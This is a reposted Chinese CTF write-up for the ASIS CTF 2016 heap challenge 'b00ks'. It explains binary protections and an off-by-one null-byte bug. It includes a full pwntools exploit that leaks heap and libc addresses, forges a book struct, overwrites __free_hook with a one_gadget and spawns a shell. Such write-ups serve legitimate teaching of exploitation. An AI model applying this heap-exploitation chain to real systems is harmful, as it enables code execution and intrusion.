首页 > 其他分享 >ASIS_CTF_2016_b00ks

ASIS_CTF_2016_b00ks

时间:2022-12-31 12:55:38浏览次数:48  
标签:b00ks name CTF book1 book2 book sendlineafter 2016 指针

ASIS_CTF_2016_b00ks

一、信息收集

  • RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。RELRO为“Full RELRO”,对GOT表没有写入权限。
  • Stack:栈溢出保护,当启用栈保护后,函数开始执行的时候就会向往栈里插入cookie信息,当函数真正返回的时候回验证cookie信息是否合法,若果不合法就会停止程序运行。
  • NX:全称(NO-execute)不可执行的意思,NX的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常。
  • PIE:PIE (ASLR) 全称(position-independent exeecutable)。中文为地址无关可执行文件。该技术是一个针对代码段(.text)、数据段(.data)、为初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时变换加载地址,从而不能通过ROPgadget等工具帮助解题。

二、逆向分析

main反编译查看:

Author name 函数sub_B6D(): author name 长度为32

在sub_F55()函数中可以知道数据结构如下:

C++
struct book {
int id;
char* book_name;
char* des_book;
int book_size;
};

 

data段中:

off_202018. Static name=是保存着author name

off_202010. Static arrya=是保存着 struct_book[32]={book1,book2,book3....} 结构体

漏洞函数sub_9F5() 存在边界考虑不当,导致溢出一个‘\x00’字节。

这里为什么有一字节溢出呢,假设一个数组buffer长度为4,使用该函数读取四个字符传入buffer指针参数和长度,len当做数组下表使用 所以这里len=3,步骤如下:

第一轮:i=0,当前buff[0] ,read读入‘A’,判断不等于10,buff指针后移(buff[1]),i=0 len=3

第二轮:i=1,当前buff[1] ,read读入‘A’,判断不等于10,buff指针后移(buff[2]),i=1 len=3

第三轮:i=2,当前buff[2] ,read读入‘A’,判断不等于10,buff指针后移(buff[3]),i=2 len=3

第四轮:i=3,当前buff[3] ,read读入‘A’,判断不等于10,buff指针后移(buff[4]),i=3 len=3 当前buff[4] = 0. 这里溢出1字节。

Free函数sub_BBD():

Fill 函数sub_E17():

Update author name 函数sub_B6D():

 

输出函数sub_D1F():

三、利用

Python
from pwn import *
import pdb
from LibcSearcher import *
# -*- coding: utf-8 -*-
# context.log_level = 'debug'
debug = 1


if (debug):
p = process("./ASIS_CTF_2016_b00ks")
else:
p = remote('node4.buuoj.cn', 27816)


# context(arch='i386',os='linux')


elf = ELF('ASIS_CTF_2016_b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')




def Create(nsize, name, dsize, desc):
p.sendlineafter("> ", '1')
p.sendlineafter("name size: ", str(nsize))
p.sendlineafter("name (Max 32 chars): ", name)
p.sendlineafter("description size: ", str(dsize))
p.sendlineafter("description: ", desc)


def Delete(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("delete: ", str(idx))


def Edit(idx, desc):
p.sendlineafter("> ", '3')
p.sendlineafter("edit: ", str(idx))
p.sendlineafter("description: ", desc)


def Print():
p.sendlineafter("> ", '4')


def Change(name):
p.sendlineafter("> ", '5')
p.sendlineafter("name: ", name)




## leak_heap
p.sendlineafter("name: ",b'A'*0x20)
Create(0xd0,"AAAA",0x20,"AAAA") #book1
Create(0x21000,"BBBB",0x21000,"BBBB") #book2


Print()


p.recvuntil("A" * 0x20)
book1_addr = u64(p.recvn(6)+b'\x00'+b'\x00')


log.info("book1_addr: "+hex(book1_addr))
book2_addr = book1_addr + 0x30
log.info("book2 address: 0x%x" % book2_addr)



## fake
fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
Edit(1, fake_book)
Change("A" * 0x20)



Print()


## libc_base
p.recvuntil("Name: ")
leak_addr = u64(p.recvn(6)+b'\x00'+b'\x00')
libc_base = leak_addr - 0x5b0010 # mmap_addr - libc_base
log.info("libc address: 0x%x" % libc_base)


one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]


## pwn
free_hook = libc.symbols['__free_hook'] + libc_base
one_gadget = libc_base + one_gadget[1]



fake_book = p64(free_hook) * 2
Edit(1, fake_book)
fake_book = p64(one_gadget)
Edit(2, fake_book)


Delete(2)

# pdb.set_trace()

p.interactive()

思路:创建两个book1、book2,在book1中构造伪fake_book,进而控制book2的description指针,将该指针改为__free_hook,再次修改为execve("/bin/sh"),最后free。

使用off-by-one泄漏出堆上的指针。

首先输入32个长度字节author name。 author name 存放在data段中 最长为32,偏移地址为0x202018

Python
p.sendlineafter("name: ",b'A'*0x20)

此时内存示意图如下:

在data段中 偏移为0x202010 的内存中保存着创建book结构体指针地址。创建book1、book2 内存示意图如下:

Python
Create(0xd0,"AAAA",0x20,"AAAA") #book1
Create(0x21000,"BBBB",0x21000,"BBBB") #book2

创建book1时:

创建book2时:

此时book1指针覆盖了author name的结尾字符 \x00. book1指针与author name连接在了一起。 使用sub_D1F()函数打印出book1指针。

有了book1指针地址就可以计算出book2的指针地址,book1地址+0x30+0x8就是book2到name指针地址。

这里继续使用off-by-one 漏洞,溢出修改book1指针地址使其为 book1 = book1->description,内存示意图如下:

溢出写\入x00,book1指针地址被抬高并指向了description

在修改book1指针之前,使用fill功能修改book1中description内容,构造伪fake_book结构体写入到description中。

伪堆块内容:fake_book = p64(id)+p64(book2+0x8)*2+p64(0x20).

这里有个知识点 在创建book2时 故意将内存设置的很大。

If we allocate a chunk bigger than the wilderness chunk, it mmap’s a new area for use. And this area is adjacent to the libc’s bss segment

简单的说, 申请小了不能够泄露出

Libc base address

调用printf功能打印输出book2->name 指针地址。得到book2->name指针地址后利用以上知识可计算得出glibc的基地址,(mmap_addr - libc_base 申请空间是让glib触发mmap申请内存,这里mmap申请的地址与glibc基地址偏移为固定常量0x5b0010)。

利用book1指针修改 book2->name指针为_free_hook.

当前book1指针是fake_book1,向fake_book1->description指针内容中写入_free_hook地址

fake_book1->description 取内容是book2->name 指针所在的地址,复写两次_free_hook 即可覆盖book2->name 和 book2->description 指针。

Python
fake_book = p64(free_hook) * 2
Edit(1, fake_book)

再次调用fill功能修改book2->description指针指向的内容为one_gadget.

Python
fake_book = p64(one_gadget)
Edit(2, fake_book)

_free_hook 内容不为空。

调用free功能,释放book2结构体触发one_gadget 得到getshell。

ge12

 

 

 

关注微信公众号或者可以直接加作者微信:

 

 

 

标签:b00ks,name,CTF,book1,book2,book,sendlineafter,2016,指针
From: https://www.cnblogs.com/haidragon/p/17016391.html

相关文章

  • CTF MISC题型常见思路与破题工具整理(持续更新)
    二维码草料二维码: https://cli.im/deqr微信没有明显题面binwalk二进制阅读器(如winhex),查找504B0304或明文字符串Zip伪加密:直接修改二......
  • P1600 [NOIP2016 提高组] 天天爱跑步
    //题目大意:有一棵树,在每个节点上会在Pi时刻出现一个观察员,在该时刻观察员如果观察到路过的运动员,那么该观察员的分数加1;//现在给定m条路径的起点与终点,每个运......
  • 痞子衡嵌入式:Farewell, 我的写博故事2016-2019
    --题图:苏州天平山枫叶现在是2022年末,痞子衡又要起笔博文年终总结了,看着2020年之前的博文总结缺失,始终觉得缺憾,所以写下此篇2016-2019总结合辑。2016年之前,痞子......
  • INTENT2022--一道包含12个反调试反虚拟机操作的ctf题解
    作者:selph查看全文请去公众号:极安御信安全研究院查看原文。从一道Re题学习12种反调试反虚拟技术题目:AntiDebuggingEmporium来源:INTENTCTF2022Re这个题目很有意思,里......
  • ASP.NET 5 将于2016年一季度发布
    简介:微软ASP.NET团队在GitHub宣布ASP.NET5的发布时间表和发展蓝图。该团队宣布在2015年还将发布三个Beta版,一个ASP.NET5的抢先版(RC1),到2016年一季度,ASP.Net5将正式发布。......
  • [NOIP2016 普及组] 回文日期
    [NOIP2016普及组]回文日期题目背景NOIP2016普及组T2题目描述在日常生活中,通过年、月、日这三个要素可以表示出一个唯一确定的日期。牛牛习惯用\(8\)位数字表示......
  • 青少年CTF练习12
    T11PingMe02 题目难度:★题目描述:诶?又是一道Ping题目诶!打开靶机  先把这个ip复制(顺手赋值)上网页先得到下图模式   然后我加入了管道符  可以正常执......
  • 青少年CTF练习11
    T11 CheckMe06题目难度:★题目描述:这竟然让我登陆?靶机下面有个txt,打开后发现里面有一大批登入的密码和账号,打开靶机     使用Burpsuite抓包爆破即可! ......
  • InCTF2021 - Kqueue 学习记录
    漏洞分析在内核态实现了一个队列管理程序,主要部分还是堆的增删改查。队列结构://管理结构queuetypedefstruct{uint16_tdata_size;//队列每一项entry......
  • 0CTF2018 Final - baby kernel 学习记录
    doublefetch由于内核态和用户态之间的数据访问竞争导致的条件竞争漏洞。通常条件下,用户向内核传递数据时,内核先通过copy_from_user等函数向内核拷贝数据,但大量复杂......